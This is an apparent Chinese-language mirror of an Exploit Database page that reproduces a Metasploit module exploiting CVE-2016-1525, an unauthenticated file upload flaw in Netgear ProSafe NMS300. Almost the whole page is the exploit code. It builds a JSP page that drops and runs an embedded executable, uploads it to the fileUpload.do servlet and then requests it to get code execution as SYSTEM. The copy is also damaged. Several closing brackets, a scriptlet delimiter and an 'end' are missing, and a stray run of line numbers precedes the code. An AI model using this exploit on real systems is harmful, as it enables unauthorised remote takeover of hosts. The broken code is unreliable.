Netgear NMS300 ProSafe Network Management System – Arbitrary File Upload (Metasploit)

Exploit Database
122 阅读

作者： Metasploit

日期： 2016-03-01
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/39515/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name'=> 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',

'Description' => %q{

Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.

The application has a file upload vulnerability that can be exploited by an

unauthenticated remote attacker to execute code as the SYSTEM user.

Two servlets are vulnerable, FileUploadController (located at

/lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).

This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and

1.1.0.13.

'Author' =>

[

'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module

'License' => MSF_LICENSE,

'References' =>

[

['CVE', '2016-1525'],

['US-CERT-VU', '777024'],

['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],

['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']

'DefaultOptions' => { 'WfsDelay' => 5 },

'Platform' => 'win',

'Arch' => ARCH_X86,

'Privileged' => true,

'Targets' =>

[

[ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]

'DefaultTarget' => 0,

'DisclosureDate' => 'Feb 4 2016'))

register_options(

[

Opt::RPORT(8080),

OptString.new('TARGETURI', [true,"Application path", '/'])

], self.class)

end

def check

res = send_request_cgi({

'uri'=> normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),

'method' => 'GET'

})

if res && res.code == 405

Exploit::CheckCode::Detected

else

Exploit::CheckCode::Safe

end

def generate_jsp_payload

exe = generate_payload_exe

base64_exe = Rex::Text.encode_base64(exe)

payload_name = rand_text_alpha(rand(6)+3)

var_raw = 'a' + rand_text_alpha(rand(8) + 3)

var_ostream = 'b' + rand_text_alpha(rand(8) + 3)

var_buf = 'c' + rand_text_alpha(rand(8) + 3)

var_decoder = 'd' + rand_text_alpha(rand(8) + 3)

var_tmp = 'e' + rand_text_alpha(rand(8) + 3)

var_path= 'f' + rand_text_alpha(rand(8) + 3)

var_proc2 = 'e' + rand_text_alpha(rand(8) + 3)

jsp = %Q|

<%@page import="java.io.*"%>

<%@page import="sun.misc.BASE64Decoder"%>

try {

String #{var_buf} = "#{base64_exe}";

BASE64Decoder #{var_decoder} = new BASE64Decoder();

byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");

String #{var_path} = #{var_tmp}.getAbsolutePath();

BufferedOutputStream #{var_ostream} =

new BufferedOutputStream(new FileOutputStream(#{var_path}));

#{var_ostream}.write(#{var_raw});

#{var_ostream}.close();

Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});

} catch (Exception e) {

}

jsp.gsub!(/[\n\t\r]/, '')

return jsp

end

def exploit

jsp_payload = generate_jsp_payload

jsp_name = Rex::Text.rand_text_alpha(8+rand(8))

jsp_full_name = "null#{jsp_name}.jsp"

post_data = Rex::MIME::Message.new

post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"')

post_data.add_part(jsp_payload,

"application/octet-stream", 'binary',

"form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"")

data = post_data.to_s

print_status("#{peer} - Uploading payload...")

res = send_request_cgi({

'uri'=> normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),

'method' => 'POST',

'data' => data,

'ctype'=> "multipart/form-data; boundary=#{post_data.bound}"

})

if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/

print_status("#{peer} - Payload uploaded successfully")

else

fail_with(Failure::Unknown, "#{peer} - Payload upload failed")

end

print_status("#{peer} - Executing payload...")

send_request_cgi({

'uri'=> normalize_uri(datastore['TARGETURI'], jsp_full_name),

'method' => 'GET'

})

handler

end